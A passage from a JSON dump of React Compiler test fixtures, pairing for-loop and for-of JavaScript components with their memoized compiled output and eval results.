    "content": "\n## Input\n\n```javascript\n// These variables are unknown to useFoo, as they are\n// defined at module scope or implicit globals\nconst isSelected = false;\nconst isCurrent = true;\n\nfunction useFoo() {\n  for (let i = 0; i <= 5; i++) {\n    let color;\n    if (isSelected) {\n      color = isCurrent ? '#FFCC22' : '#FF5050';\n    } else {\n      color = isCurrent ? '#CCFF03' : '#CCCCCC';\n    }\n    console.log(color);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  params: [],\n  fn: useFoo,\n};\n\n```\n\n## Code\n\n```javascript\n// These variables are unknown to useFoo, as they are\n// defined at module scope or implicit globals\nconst isSelected = false;\nconst isCurrent = true;\n\nfunction useFoo() {\n  for (let i = 0; i <= 5; i++) {\n    let color;\n    if (isSelected) {\n      color = isCurrent ? \"#FFCC22\" : \"#FF5050\";\n    } else {\n      color = isCurrent ? \"#CCFF03\" : \"#CCCCCC\";\n    }\n\n    console.log(color);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  params: [],\n  fn: useFoo,\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: ['#CCFF03','#CCFF03','#CCFF03','#CCFF03','#CCFF03','#CCFF03']"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.js",
    "content": "// These variables are unknown to useFoo, as they are\n// defined at module scope or implicit globals\nconst isSelected = false;\nconst isCurrent = true;\n\nfunction useFoo() {\n  for (let i = 0; i <= 5; i++) {\n    let color;\n    if (isSelected) {\n      color = isCurrent ? '#FFCC22' : '#FF5050';\n    } else {\n      color = isCurrent ? '#CCFF03' : '#CCCCCC';\n    }\n    console.log(color);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  params: [],\n  fn: useFoo,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.expect.md",
    "content": "\n## Input\n\n```javascript\nconst TOTAL = 10;\nfunction Component(props) {\n  const items = [];\n  for (let i = props.start ?? 0; i < props.items.length; i++) {\n    const item = props.items[i];\n    items.push(<div key={item.id}>{item.value}</div>);\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      start: null,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n  ],\n  sequentialRenders: [\n    {\n      start: 1,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n    {\n      start: 2,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n    {\n      start: 0,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n        {id: 2, value: 'two'},\n      ],\n    },\n    {\n      start: 1,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n        {id: 2, value: 'two'},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst TOTAL = 10;\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.items || $[1] !== props.start) {\n    const items = [];\n    for (let i = props.start ?? 0; i < props.items.length; i++) {\n      const item = props.items[i];\n      items.push(<div key={item.id}>{item.value}</div>);\n    }\n    t0 = <div>{items}</div>;\n    $[0] = props.items;\n    $[1] = props.start;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      start: null,\n      items: [\n        { id: 0, value: \"zero\" },\n        { id: 1, value: \"one\" },\n      ],\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      start: 1,\n      items: [\n        { id: 0, value: \"zero\" },\n        { id: 1, value: \"one\" },\n      ],\n    },\n    {\n      start: 2,\n      items: [\n        { id: 0, value: \"zero\" },\n        { id: 1, value: \"one\" },\n      ],\n    },\n    {\n      start: 0,\n      items: [\n        { id: 0, value: \"zero\" },\n        { id: 1, value: \"one\" },\n        { id: 2, value: \"two\" },\n      ],\n    },\n    {\n      start: 1,\n      items: [\n        { id: 0, value: \"zero\" },\n        { id: 1, value: \"one\" },\n        { id: 2, value: \"two\" },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>one</div></div>\n<div></div>\n<div><div>zero</div><div>one</div><div>two</div></div>\n<div><div>one</div><div>two</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.js",
    "content": "const TOTAL = 10;\nfunction Component(props) {\n  const items = [];\n  for (let i = props.start ?? 0; i < props.items.length; i++) {\n    const item = props.items[i];\n    items.push(<div key={item.id}>{item.value}</div>);\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      start: null,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n  ],\n  sequentialRenders: [\n    {\n      start: 1,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n    {\n      start: 2,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n      ],\n    },\n    {\n      start: 0,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n        {id: 2, value: 'two'},\n      ],\n    },\n    {\n      start: 1,\n      items: [\n        {id: 0, value: 'zero'},\n        {id: 1, value: 'one'},\n        {id: 2, value: 'two'},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const items = [];\n\n  for (let i = 0, length = props.items.length; i < length; i++) {\n    items.push(props.items[i]);\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: ['a', 'b', 42]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let items;\n  if ($[0] !== props.items) {\n    items = [];\n\n    for (let i = 0, length = props.items.length; i < length; i++) {\n      items.push(props.items[i]);\n    }\n    $[0] = props.items;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [\"a\", \"b\", 42] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"a\",\"b\",42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.js",
    "content": "function Component(props) {\n  const items = [];\n\n  for (let i = 0, length = props.items.length; i < length; i++) {\n    items.push(props.items[i]);\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: ['a', 'b', 42]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = [];\n  for (const item of [1, 2]) {\n    break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  for (const item of [1, 2]) {\n    break;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.js",
    "content": "function Component() {\n  const x = [];\n  for (const item of [1, 2]) {\n    break;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  let lastItem = null;\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    lastItem = x;\n  }\n  if (lastItem != null) {\n    lastItem.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let items;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let lastItem = null;\n    items = [makeObject_Primitives(), makeObject_Primitives()];\n    for (const x of items) {\n      lastItem = x;\n    }\n\n    if (lastItem != null) {\n      lastItem.a = lastItem.a + 1;\n    }\n    $[0] = items;\n  } else {\n    items = $[0];\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]\n[{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]\n[{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  let lastItem = null;\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    lastItem = x;\n  }\n  if (lastItem != null) {\n    lastItem.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  let lastItem = {};\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    lastItem = x;\n  }\n  if (lastItem != null) {\n    lastItem.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let items;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let lastItem = {};\n    items = [makeObject_Primitives(), makeObject_Primitives()];\n    for (const x of items) {\n      lastItem = x;\n    }\n\n    if (lastItem != null) {\n      lastItem.a = lastItem.a + 1;\n    }\n    $[0] = items;\n  } else {\n    items = $[0];\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]\n[{\"a\":0,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  let lastItem = {};\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    lastItem = x;\n  }\n  if (lastItem != null) {\n    lastItem.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = [];\n  for (const item of [1, 2]) {\n    if (item === 1) {\n      break;\n    }\n    x.push(item);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = [];\n    for (const item of [1, 2]) {\n      if (item === 1) {\n        break;\n      }\n\n      x.push(item);\n    }\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) []"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.js",
    "content": "function Component() {\n  const x = [];\n  for (const item of [1, 2]) {\n    if (item === 1) {\n      break;\n    }\n    x.push(item);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = [0, 1, 2, 3];\n  const ret = [];\n  for (const item of x) {\n    if (item === 0) {\n      continue;\n    }\n    ret.push(item / 2);\n  }\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let ret;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [0, 1, 2, 3];\n    ret = [];\n    for (const item of x) {\n      if (item === 0) {\n        continue;\n      }\n\n      ret.push(item / 2);\n    }\n    $[0] = ret;\n  } else {\n    ret = $[0];\n  }\n\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [0.5,1,1.5]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.js",
    "content": "function Component() {\n  const x = [0, 1, 2, 3];\n  const ret = [];\n  for (const item of x) {\n    if (item === 0) {\n      continue;\n    }\n    ret.push(item / 2);\n  }\n  return ret;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let x = [];\n  let items = [{v: 0}, {v: 1}, {v: 2}];\n  for (const {v} of items) {\n    x.push(v * 2);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = [];\n    const items = [{ v: 0 }, { v: 1 }, { v: 2 }];\n    for (const { v } of items) {\n      x.push(v * 2);\n    }\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,2,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.js",
    "content": "function Component() {\n  let x = [];\n  let items = [{v: 0}, {v: 1}, {v: 2}];\n  for (const {v} of items) {\n    x.push(v * 2);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Router({title, mapping}) {\n  const array = [];\n  for (let [, entry] of mapping) {\n    array.push([title, entry]);\n  }\n  return array;\n}\n\nconst routes = new Map([\n  ['about', '/about'],\n  ['contact', '/contact'],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: 'Foo',\n      mapping: routes,\n    },\n    {\n      title: 'Bar',\n      mapping: routes,\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Router(t0) {\n  const $ = _c(3);\n  const { title, mapping } = t0;\n  let array;\n  if ($[0] !== mapping || $[1] !== title) {\n    array = [];\n    for (const [, entry] of mapping) {\n      array.push([title, entry]);\n    }\n    $[0] = mapping;\n    $[1] = title;\n    $[2] = array;\n  } else {\n    array = $[2];\n  }\n\n  return array;\n}\n\nconst routes = new Map([\n  [\"about\", \"/about\"],\n  [\"contact\", \"/contact\"],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: \"Foo\",\n      mapping: routes,\n    },\n    {\n      title: \"Bar\",\n      mapping: routes,\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[\"Foo\",\"/about\"],[\"Foo\",\"/contact\"]]\n[[\"Bar\",\"/about\"],[\"Bar\",\"/contact\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.js",
    "content": "function Router({title, mapping}) {\n  const array = [];\n  for (let [, entry] of mapping) {\n    array.push([title, entry]);\n  }\n  return array;\n}\n\nconst routes = new Map([\n  ['about', '/about'],\n  ['contact', '/contact'],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: 'Foo',\n      mapping: routes,\n    },\n    {\n      title: 'Bar',\n      mapping: routes,\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Router({title, mapping}) {\n  const array = [];\n  for (let entry of mapping.values()) {\n    array.push([title, entry]);\n  }\n  return array;\n}\n\nconst routes = new Map([\n  ['about', '/about'],\n  ['contact', '/contact'],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: 'Foo',\n      mapping: routes,\n    },\n    {\n      title: 'Bar',\n      mapping: routes,\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Router(t0) {\n  const $ = _c(3);\n  const { title, mapping } = t0;\n  let array;\n  if ($[0] !== mapping || $[1] !== title) {\n    array = [];\n    for (const entry of mapping.values()) {\n      array.push([title, entry]);\n    }\n    $[0] = mapping;\n    $[1] = title;\n    $[2] = array;\n  } else {\n    array = $[2];\n  }\n\n  return array;\n}\n\nconst routes = new Map([\n  [\"about\", \"/about\"],\n  [\"contact\", \"/contact\"],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: \"Foo\",\n      mapping: routes,\n    },\n    {\n      title: \"Bar\",\n      mapping: routes,\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[\"Foo\",\"/about\"],[\"Foo\",\"/contact\"]]\n[[\"Bar\",\"/about\"],[\"Bar\",\"/contact\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.js",
    "content": "function Router({title, mapping}) {\n  const array = [];\n  for (let entry of mapping.values()) {\n    array.push([title, entry]);\n  }\n  return array;\n}\n\nconst routes = new Map([\n  ['about', '/about'],\n  ['contact', '/contact'],\n]);\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Router,\n  params: [],\n  sequentialRenders: [\n    {\n      title: 'Foo',\n      mapping: routes,\n    },\n    {\n      title: 'Bar',\n      mapping: routes,\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    x.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  let items;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    items = [makeObject_Primitives(), makeObject_Primitives()];\n    for (const x of items) {\n      x.a = x.a + 1;\n    }\n    $[0] = items;\n  } else {\n    items = $[0];\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":1,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]\n[{\"a\":1,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]\n[{\"a\":1,\"b\":\"value1\",\"c\":true},{\"a\":1,\"b\":\"value1\",\"c\":true}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.js",
    "content": "import {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const items = [makeObject_Primitives(), makeObject_Primitives()];\n  for (const x of items) {\n    x.a += 1;\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeObject_Primitives, mutateAndReturn, toJSON} from 'shared-runtime';\n\nfunction Component(_props) {\n  const collection = [makeObject_Primitives()];\n  const results = [];\n  for (const item of collection) {\n    results.push(<div key={toJSON(item)}>{toJSON(mutateAndReturn(item))}</div>);\n  }\n  return <div>{results}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeObject_Primitives, mutateAndReturn, toJSON } from \"shared-runtime\";\n\nfunction Component(_props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const collection = [makeObject_Primitives()];\n    const results = [];\n    for (const item of collection) {\n      results.push(\n        <div key={toJSON(item)}>{toJSON(mutateAndReturn(item))}</div>,\n      );\n    }\n    t0 = <div>{results}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.tsx",
    "content": "import {makeObject_Primitives, mutateAndReturn, toJSON} from 'shared-runtime';\n\nfunction Component(_props) {\n  const collection = [makeObject_Primitives()];\n  const results = [];\n  for (const item of collection) {\n    results.push(<div key={toJSON(item)}>{toJSON(mutateAndReturn(item))}</div>);\n  }\n  return <div>{results}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => {\n    return [a];\n  }, [a]);\n  const y = useMemo(() => {\n    const items = [b];\n    for (const i of x) {\n      items.push(i);\n    }\n    return items;\n  }, [x, b]);\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={x} />\n      <ValidateMemoization inputs={[x, b]} output={y} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(19);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = [a];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let items;\n  if ($[2] !== b || $[3] !== x) {\n    items = [b];\n    for (const i of x) {\n      items.push(i);\n    }\n    $[2] = b;\n    $[3] = x;\n    $[4] = items;\n  } else {\n    items = $[4];\n  }\n  const y = items;\n  let t2;\n  if ($[5] !== a) {\n    t2 = [a];\n    $[5] = a;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  let t3;\n  if ($[7] !== t2 || $[8] !== x) {\n    t3 = <ValidateMemoization inputs={t2} output={x} />;\n    $[7] = t2;\n    $[8] = x;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  let t4;\n  if ($[10] !== b || $[11] !== x) {\n    t4 = [x, b];\n    $[10] = b;\n    $[11] = x;\n    $[12] = t4;\n  } else {\n    t4 = $[12];\n  }\n  let t5;\n  if ($[13] !== t4 || $[14] !== y) {\n    t5 = <ValidateMemoization inputs={t4} output={y} />;\n    $[13] = t4;\n    $[14] = y;\n    $[15] = t5;\n  } else {\n    t5 = $[15];\n  }\n  let t6;\n  if ($[16] !== t3 || $[17] !== t5) {\n    t6 = (\n      <>\n        {t3}\n        {t5}\n      </>\n    );\n    $[16] = t3;\n    $[17] = t5;\n    $[18] = t6;\n  } else {\n    t6 = $[18];\n  }\n  return t6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 0, b: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[1],\"output\":[1]}</div><div>{\"inputs\":[[1],0],\"output\":[0,1]}</div>\n<div>{\"inputs\":[1],\"output\":[1]}</div><div>{\"inputs\":[[1],1],\"output\":[1,1]}</div>\n<div>{\"inputs\":[0],\"output\":[0]}</div><div>{\"inputs\":[[0],1],\"output\":[1,0]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.js",
    "content": "import {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => {\n    return [a];\n  }, [a]);\n  const y = useMemo(() => {\n    const items = [b];\n    for (const i of x) {\n      items.push(i);\n    }\n    return items;\n  }, [x, b]);\n  return (\n    <>\n      <ValidateMemoization inputs={[a]} output={x} />\n      <ValidateMemoization inputs={[x, b]} output={y} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.expect.md",
